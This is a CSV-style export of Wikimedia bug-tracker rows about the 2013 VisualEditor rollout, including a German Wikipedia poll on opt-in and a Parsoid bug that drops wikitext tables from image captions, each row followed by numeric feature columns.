+238652,"Enable VisualEditor by default for phase 2 Wikipedias (selected from the ""top 10""-ish)","(In reply to comment #10)
+> (In reply to comment #8)
+> > 3) VE to be opt-in only until all bugs are fixed: 430 votes (!)
+> 
+> Personal opinion: I am not aware of a single software that is proven to be
+> completely bug-free. This is an impossible requirement that cannot be
+> fulfiled.
+
+They more than likely mean all the major bugs that cause issues with editing (eg: dirty diffs, randomly inserting pawns to name two)",,,1375085597,,PHID-USER-hwuumsjqciw7ji5qhpc7,True,,,PHID-TASK-o3inw6vkpkuhjrfly4eb,task_subcomment,,True,c1,3,False,,,4,,1,0,1,1,1,1,1,0,0,0,1,0,0,1,0,1,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,1,1,0,1,0,0,0,0,1,0,1,0,1,0,0,0,1,0,1,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,1,1,1,0,0,1,0,0,1,1,1,0,1,0,1,1,0,0,0,0,1,0,1,1,0,1,1,0,1
+238647,"Enable VisualEditor by default for phase 2 Wikipedias (selected from the ""top 10""-ish)","(In reply to comment #8)
+> 3) VE to be opt-in only until all bugs are fixed: 430 votes (!)
+
+Personal opinion: I am not aware of a single software that is proven to be completely bug-free. This is an impossible requirement that cannot be fulfiled.",,,1375085393,,PHID-USER-hgn5uw2jafgjgfvxibhh,True,,,PHID-TASK-o3inw6vkpkuhjrfly4eb,task_subcomment,,True,c1,3,True,,,4,,1,0,1,1,1,1,1,0,0,0,1,0,0,1,0,1,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,1,0,0,0,0,1,0,0,0,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,0,0,1,0,0,1,1,1,0,1,0,1,1,0,0,0,0,1,0,1,1,0,0,0,0,1
+238641,"Enable VisualEditor by default for phase 2 Wikipedias (selected from the ""top 10""-ish)",bug 52202 has been created based on the German Wikipedia poll.,,,1375058081,,PHID-USER-oxd6f6xemkuyttw7z7wl,True,,,PHID-TASK-o3inw6vkpkuhjrfly4eb,task_subcomment,,True,c1,3,False,,,4,,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+238634,"Enable VisualEditor by default for phase 2 Wikipedias (selected from the ""top 10""-ish)","**wikipedia** wrote:
+
+In the quick poll (see #7) the results at the moment are as following:
+
+1) enabeling VE as default for all users: 21 votes
+2) VE as default for logged-in users: 6 votes
+3) VE to be opt-in only until all bugs are fixed: 430 votes (!)
+4) enabeling VE under another link name (suggestion was ""Visual Editor (beta)"" instead of ""Bearbeiten"" (""edit"")): 31 votes
+
+According to this large majority of users who oppose defaulting VE by tomorrow, I hereby ask you to put VE back to opt-in for logged-in users until the most important bugs are fixed. Thank you.",,,1375045061,,PHID-USER-ynivjflmc2dcl6w5ut5v,True,,,PHID-TASK-o3inw6vkpkuhjrfly4eb,task_subcomment,,True,c1,3,False,,,3,,1,0,0,1,0,1,0,0,0,0,1,0,0,1,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,1,1,1,0,1,1,0,0,1,1,0,0,1,1,0,0,0,0,0,1,0,1,0,1,0,0,0,1,0,0,0,0,0,1,0,1,0,1,1,1,0,0,1,0,0,1,1,1,0,1,0,1,1,1,0,1,0,1,0,1,0,0,1,0,1,1
+238626,"Enable VisualEditor by default for phase 2 Wikipedias (selected from the ""top 10""-ish)","the German wikipedia just started a quick poll over the weekend to at least postpone this activation for anonymous users on monday:
+
+https://de.wikipedia.org/wiki/Wikipedia:Umfragen/VisualEditor_Opt-in
+
+the poll has currently also a option for the previous state where VE was Opt-in for users instead of Opt-out if this is still possible.
+
+It would be appreciated to take the outcome on monday into account and postpone this activation for dewiki if desired.",,,1374879438,,PHID-USER-jcypqodpdpbcicgwgh7j,True,,,PHID-TASK-o3inw6vkpkuhjrfly4eb,task_subcomment,,True,c1,3,False,,,3,,0,0,0,1,0,1,1,0,0,1,1,0,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,0,1,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,1,1,0,0,0,1,0
+238617,"Enable VisualEditor by default for phase 2 Wikipedias (selected from the ""top 10""-ish)",It's unclear whether the German Wikipedia wants this: <http://lists.wikimedia.org/pipermail/wikitech-l/2013-July/070807.html>.,,,1374874055,,PHID-USER-hyfm4swq76s4j642w46x,True,,,PHID-TASK-o3inw6vkpkuhjrfly4eb,task_subcomment,,True,c1,3,False,,,3,,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,1,0,0,0,0,0,0,1
+238611,"Enable VisualEditor by default for phase 2 Wikipedias (selected from the ""top 10""-ish)","Change 76199 had a related patch set uploaded by Jforrester:
+Enable anonymous use of VisualEditor on de/es/fr/he/it/pl/ru/sv
+
+https://gerrit.wikimedia.org/r/76199",,,1374873719,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-o3inw6vkpkuhjrfly4eb,task_subcomment,,True,c1,3,False,,,3,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+238604,"Enable VisualEditor by default for phase 2 Wikipedias (selected from the ""top 10""-ish)",This is now done.,,,1374685783,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-o3inw6vkpkuhjrfly4eb,task_subcomment,,True,c1,3,True,,,3,,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,1,1,0,1,0,0,0
+238596,"Enable VisualEditor by default for phase 2 Wikipedias (selected from the ""top 10""-ish)","Change 75543 merged by jenkins-bot:
+VisualEditor into beta on de/es/fr/he/it/pl/ru/svwiki for logged-in only
+
+https://gerrit.wikimedia.org/r/75543",,,1374685596,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-o3inw6vkpkuhjrfly4eb,task_subcomment,,True,c1,3,False,,,3,,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+238589,"Enable VisualEditor by default for phase 2 Wikipedias (selected from the ""top 10""-ish)","Change 75543 had a related patch set uploaded by Jforrester:
+VisualEditor into beta on de/es/fr/he/it/pl/ru/svwiki
+
+https://gerrit.wikimedia.org/r/75543",,,1374631008,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-o3inw6vkpkuhjrfly4eb,task_subcomment,,True,c1,3,False,,,3,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+238582,"Enable VisualEditor by default for phase 2 Wikipedias (selected from the ""top 10""-ish)","According to [[meta:Tech/News/2013/30]] the list is:
+German  (de), 
+Spanish (es), 
+French  (fr), 
+Hebrew  (he) - RTL, 
+Italian (it), 
+Dutch   (nl), 
+Polish  (pl), 
+Russian (ru) and 
+Swedish (sv).",,,1374489687,,PHID-USER-oxd6f6xemkuyttw7z7wl,True,,,PHID-TASK-o3inw6vkpkuhjrfly4eb,task_subcomment,,True,c1,3,False,,,3,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,0,0,0,1,0,0,1
+51997,Enable VisualEditor by default for all users of the English Wikipedia,"Currently scheduled for w/c 1 July.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",High,80.0,1371860100,1373921229.0,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-algalgsjyyisq2anwhms,task_description,resolved,True,c1,2,True,False,True,-2,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+238559,Enable VisualEditor by default for all users of the English Wikipedia,This is now complete.,,,1373921229,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-algalgsjyyisq2anwhms,task_subcomment,,True,c1,3,True,,,2,,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
+238556,Enable VisualEditor by default for all users of the English Wikipedia,"Change 73852 merged by jenkins-bot:
+Stop the prevention of anons getting VisualEditor for enwiki
+
+https://gerrit.wikimedia.org/r/73852",,,1373921102,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-algalgsjyyisq2anwhms,task_subcomment,,True,c1,3,False,,,2,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,0
+238553,Enable VisualEditor by default for all users of the English Wikipedia,"Change 73852 had a related patch set uploaded by Jforrester:
+Stop the prevention of anons getting VisualEditor for enwiki
+
+https://gerrit.wikimedia.org/r/73852",,,1373917817,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-algalgsjyyisq2anwhms,task_subcomment,,True,c1,3,False,,,2,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,1,0,0,0
+238549,Enable VisualEditor by default for all users of the English Wikipedia,"Now done for logged-in users. Will be done for the rest next week, assuming all is well.",,,1372715482,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-algalgsjyyisq2anwhms,task_subcomment,,True,c1,3,True,,,0,,1,0,0,1,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0
+238542,Enable VisualEditor by default for all users of the English Wikipedia,"Change 71261 merged by jenkins-bot:
+Enable VisualEditor for all logged-in users (but not anons) on enwiki
+
+https://gerrit.wikimedia.org/r/71261",,,1372714320,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-algalgsjyyisq2anwhms,task_subcomment,,True,c1,3,False,,,0,,1,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+238534,Enable VisualEditor by default for all users of the English Wikipedia,"Change 71261 had a related patch set uploaded by Jforrester:
+Enable VisualEditor for all logged-in users of the English Wikipedia
+
+https://gerrit.wikimedia.org/r/71261",,,1372561707,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-algalgsjyyisq2anwhms,task_subcomment,,True,c1,2,False,,,-1,,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+238527,Enable VisualEditor by default for all users of the English Wikipedia,… with 'all users' (logged in and otherwise) for w/c 8 July.,,,1371860183,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-algalgsjyyisq2anwhms,task_subcomment,,True,c1,2,True,,,-2,,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,1,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0
+51963,Enable VisualEditor experimental mode on test* wikis as well as MW.org and Beta Labs,"After spending some time with VE in our various test environments, it would be convenient to have all features available in VE available in all of our test environments.  Right now it is possible to create citations in mediawiki.org but not in test2wiki, and VE in beta labs is not usable at all. 
+
+test2wiki gives us a production wiki where it is possible to make destructive or nonsense edits that are not welcome on mediawiki.org
+
+beta labs gives us an environment to test possibly risky merged changes that are not yet deployed
+
+Enabling all of VE features in all test environments would be useful for testing.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=49703",High,80.0,1371827040,1372377535.0,PHID-USER-kqibbfgfpgocyzwe32lv,False,,False,PHID-TASK-kd62lmqw7ntjvcrqwhvx,task_description,resolved,True,c1,2,False,False,True,-2,,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,1,1,0,0,0,0,0,0,0,0,1,1,0,1,0,1,0,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,1,1,1,1,0,0,1
+236500,Enable VisualEditor experimental mode on test* wikis as well as MW.org and Beta Labs,"Change 70440 abandoned by Cmcmahon:
+Enable VE experimental mode on test2wiki per Bug 49963
+
+Reason:
+overtaken by history
+
+https://gerrit.wikimedia.org/r/70440",,,1372864721,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-kd62lmqw7ntjvcrqwhvx,task_subcomment,,True,c1,3,False,,,0,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+236494,Enable VisualEditor experimental mode on test* wikis as well as MW.org and Beta Labs,"VE seems to be working correctly now in beta labs, test2wiki, and mw.o
+
+Please re-open if you find otherwise.",,,1372377535,,PHID-USER-kqibbfgfpgocyzwe32lv,False,,,PHID-TASK-kd62lmqw7ntjvcrqwhvx,task_subcomment,,True,c1,2,False,,,-1,,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,1,1,0,0,1,1,1,0,0,0,1,0,0,0,0,1,0,0,0
+236488,Enable VisualEditor experimental mode on test* wikis as well as MW.org and Beta Labs,Related URL: https://gerrit.wikimedia.org/r/70440 (Gerrit Change I72b68e3e0db86eb5372cd303223ef8f81111271c),,,1372177710,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-kd62lmqw7ntjvcrqwhvx,task_subcomment,,True,c1,2,False,,,-1,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+51942,Images: wikitext tables inside image captions are lost,"When editing a page which has an image with table data in its caption, the table is dropped (only its closing tab is kept). The rest of the caption is dropped as well.
+
+Test edit: https://hu.wikipedia.org/w/index.php?title=Vall%C3%A1s&diff=13696305&oldid=13696296
+
+You don't need to interact with the image in any way for this to happen, just edit the page, change anything and save.
+
+--------------------------
+**Version**: unspecified
+**Severity**: major
+**URL**: https://hu.wikipedia.org/wiki/Vall%C3%A1s?oldid=13696307
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=61064",High,80.0,1371799080,1389680196.0,PHID-USER-a6p24cvyblhfzc7we7nc,False,,False,PHID-TASK-5dgywim5ydcwu6b7g2zz,task_description,resolved,True,c1,2,False,False,False,-2,,1,1,0,1,1,1,0,0,0,0,1,1,0,1,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,1,1,0,1,0,0,0
+235225,Images: wikitext tables inside image captions are lost,"Change 107172 merged by Subramanya Sastry:
+(Bug 49942) Tables can show up in image captions
+
+https://gerrit.wikimedia.org/r/107172",,,1389647113,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-5dgywim5ydcwu6b7g2zz,task_subcomment,,True,c1,3,False,,,28,,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+235219,Images: wikitext tables inside image captions are lost,"Change 107172 had a related patch set uploaded by Subramanya Sastry:
+(Bug 49942) Tables can show up in captions
+
+https://gerrit.wikimedia.org/r/107172",,,1389631306,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-5dgywim5ydcwu6b7g2zz,task_subcomment,,True,c1,3,False,,,28,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+235212,Images: wikitext tables inside image captions are lost,[Parsoid component reorg by merging JS/General and General. See bug 50685 for more information. Filter bugmail on this comment. parsoidreorg20130704],,,1372934084,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-5dgywim5ydcwu6b7g2zz,task_subcomment,,True,c1,3,True,,,0,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,0,0,0,0,1,1,0,1
+235207,Images: wikitext tables inside image captions are lost,"(In reply to comment #3)
+> (In reply to comment #2)
+> > If this image is not modified by the user it should still round-trip
+> > correctly,
+> > but on modification the table would be lost.
+> 
+> The table is lost even if the user does not interact with the image in any
+> way.
+>
+> See [[hu:Vallás]] - the image caption gets garbled as soon as you open the
+> article for editing.
+
+The corruption even if you don't touch it is a bug in VisualEditor related to munging the captions of images, which we're fixing today; sorry for that.",,,1372114586,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-5dgywim5ydcwu6b7g2zz,task_subcomment,,True,c1,2,True,,,-1,,1,0,0,1,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,1,1,0,1,0,0,0,0,1,0,1,1,1,1,1,0,1,0,0,0,0,1,1,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,1
+235201,Images: wikitext tables inside image captions are lost,"(In reply to comment #2)
+> If this image is not modified by the user it should still round-trip
+> correctly,
+> but on modification the table would be lost.
+
+The table is lost even if the user does not interact with the image in any way. See [[hu:Vallás]] - the image caption gets garbled as soon as you open the article for editing.",,,1372114062,,PHID-USER-a6p24cvyblhfzc7we7nc,False,,,PHID-TASK-5dgywim5ydcwu6b7g2zz,task_subcomment,,True,c1,2,False,,,-1,,1,0,0,1,1,0,0,0,0,1,1,0,0,0,0,0,0,1,1,0,1,1,1,0,0,0,0,0,0,1,0,1,1,1,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,1
+235195,Images: wikitext tables inside image captions are lost,"This is a tokenizer issue. The table is not tokenized as such, likely because syntax stops prevent a pipe from being matched.
+
+If this image is not modified by the user it should still round-trip correctly, but on modification the table would be lost.",,,1372105294,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-5dgywim5ydcwu6b7g2zz,task_subcomment,,True,c1,2,True,,,-1,,0,0,0,1,1,1,1,1,0,1,1,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,1,0,0,0,0,0
+235189,Images: wikitext tables inside image captions are lost,"Horrible, relatively-rare case for Parsoid, is the use of wikitext tables inside image captions. Currently, the following wikitext:
+
+[Start]
+[[Image:Foo.jpg|thumb|200px|This is an example image thumbnail caption with a table
+
+{|
+! Foo !! Bar
+|-
+| Foo1 || Bar1
+|-
+| Foo2 || Bar2
+|}
+
+… and some more text.]]
+[End]
+
+… turns into the following output from Parsoid:
+
+[Start]
+<figure typeof=""mw:Image/Thumb"" data-parsoid=""…"">
+  <a href=""./File:Foo.jpg"" data-parsoid=""…"">
+    <img resource=""./File:Foo.jpg"" src=""http://upload.wikimedia.org/wikipedia/commons/thumb/0/06/Foo.jpg/200px-Foo.jpg""
+      height=""131"" width=""200"" data-parsoid=""…"">
+  </a>
+  <figcaption class=""mw-figcaption"" data-parsoid=""…"">}
+
+… and some more text.
+  </figcaption>
+</figure>
+[End]
+
+… whereas nominally it should be (generated using an HTML table rather than a wikitext one, which seems to work fine without DOM diffs from VE end):
+
+[Start]
+<figure typeof=""mw:Image/Thumb"" data-parsoid=""…"">
+  <a href=""./File:Foo.jpg"" data-parsoid=""…"">
+    <img resource=""./File:Foo.jpg"" src=""http://upload.wikimedia.org/wikipedia/commons/thumb/0/06/Foo.jpg/200px-Foo.jpg""
+      height=""131"" width=""200"" data-parsoid=""…"">
+  </a>
+  <figcaption class=""mw-figcaption"" data-parsoid=""…"">This is an example image thumbnail caption with a table
+
+    <table data-parsoid=""…"">
+      <tbody data-parsoid=""…"">
+        <tr data-parsoid=""…"">
+          <th data-parsoid=""…"">Foo</th>
+           <th data-parsoid=""…"">Bar</th>
+        </tr>
+        <tr data-parsoid=""…"">
+          <td data-parsoid=""…"">Foo1</td>
+          <td data-parsoid=""…"">Bar1</td>
+        </tr>
+        <tr data-parsoid=""…"">
+          <td data-parsoid=""…"">Foo2</td>
+          <td data-parsoid=""…"">Bar2</td>
+        </tr>
+      </tbody>
+    </table>
+
+… and some more text.
+  </figcaption>
+</figure>
+[End]",,,1371999975,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-5dgywim5ydcwu6b7g2zz,task_subcomment,,True,c1,2,True,,,-2,,1,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,1,1,0,1,1,1,0,1,0,0,1,0,0,0,1,0,1,0,0,1,1,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,1,0,1,1,1,0,1,1,1,0,1,0,1,1,1,1,0,1,1,1,1
+51941,VisualEditor: Part of link inspector interface sometimes remains (top-left of screen) after closing,"1. In VE, highlight some text and open the link inspector
+2. Type some characters into the textbox, but quickly click out of the link inspector before the autocomplete dropdown appears
+
+The dropdown appears in the top-left corner of the page.
+
+--------------------------
+**Version**: unspecified
+**Severity**: major",High,80.0,1371798960,1373413695.0,PHID-USER-sx63fwaih5kjt7bz4u6z,False,,False,PHID-TASK-hk4qv3of7jiwnhul5ayb,task_description,resolved,True,c1,2,False,False,True,-2,,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1
+235146,VisualEditor: Part of link inspector interface sometimes remains (top-left of screen) after closing,Not completely fixed; see bug 51415.,,,1373936995,,PHID-USER-766idcqt4jkngnnuhnrj,False,,,PHID-TASK-hk4qv3of7jiwnhul5ayb,task_subcomment,,True,c1,3,False,,,2,,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
+235143,VisualEditor: Part of link inspector interface sometimes remains (top-left of screen) after closing,Fixed and will go out soon.,,,1373413695,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-hk4qv3of7jiwnhul5ayb,task_subcomment,,True,c1,3,True,,,1,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0
+235134,VisualEditor: Part of link inspector interface sometimes remains (top-left of screen) after closing,"Change 72849 merged by jenkins-bot:
+Be sure lookupMenu input is focused before showing
+
+https://gerrit.wikimedia.org/r/72849",,,1373412773,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-hk4qv3of7jiwnhul5ayb,task_subcomment,,True,c1,3,False,,,1,,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,0
+235125,VisualEditor: Part of link inspector interface sometimes remains (top-left of screen) after closing,"(Cite bug 51077 comment #0)
+> Created attachment bug 51077 12810 [details]
